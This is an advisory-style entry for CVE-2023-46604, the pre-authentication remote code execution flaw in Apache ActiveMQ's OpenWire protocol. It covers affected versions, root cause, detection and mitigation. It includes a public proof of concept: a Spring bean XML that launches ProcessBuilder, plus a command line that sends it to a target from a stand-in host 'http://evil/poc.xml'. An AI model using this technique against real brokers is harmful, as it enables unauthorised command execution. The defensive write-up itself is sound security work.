Apache ActiveMQ OpenWire ClassInfo RCE

Product: Apache ActiveMQ
CVE: CVE-2023-46604
Disclosed: 2023-10-27
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: < 5.15.16, 5.16.0 - 5.16.6, 5.17.0 - 5.17.5, 5.18.0 - 5.18.2 (and Legacy OpenWire Module)
Fixed: 5.15.16, 5.16.7, 5.17.6, 5.18.3

Summary

ActiveMQ's OpenWire protocol unmarshaller would instantiate any class named in a serialized exception, calling its String constructor. Pointing that at Spring's ClassPathXmlApplicationContext with a remote XML URL runs commands; HelloKitty and other ransomware crews exploited it days after disclosure.

Root cause

BaseDataStreamMarshaller.createThrowable() loads the class name from an ExceptionResponse/ConnectionError packet and calls its single-String constructor without verifying it is a Throwable. ClassPathXmlApplicationContext(url) fetches and processes an attacker bean definition that starts a ProcessBuilder.

Impact

Unauthenticated RCE on brokers exposing the OpenWire port (61616).

Public PoC

<!-- poc.xml served over HTTP; python3 poc.py <target> 61616 http://evil/poc.xml
     sends an OpenWire ExceptionResponse with class
     org.springframework.context.support.ClassPathXmlApplicationContext -->
<beans xmlns="http://www.springframework.org/schema/beans" ...>
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg><list>
      <value>touch</value>
      <value>/tmp/activeMQ-RCE-success</value>
    </list></constructor-arg>
  </bean>
</beans>

Source: vulhub / activemq/CVE-2023-46604

Detection

Monitor port 61616 traffic for OpenWire packets containing 'ClassPathXmlApplicationContext' and outbound HTTP fetches of XML from the broker. nuclei template CVE-2023-46604.

Mitigation

Upgrade broker and clients to fixed versions; firewall 61616 from untrusted networks.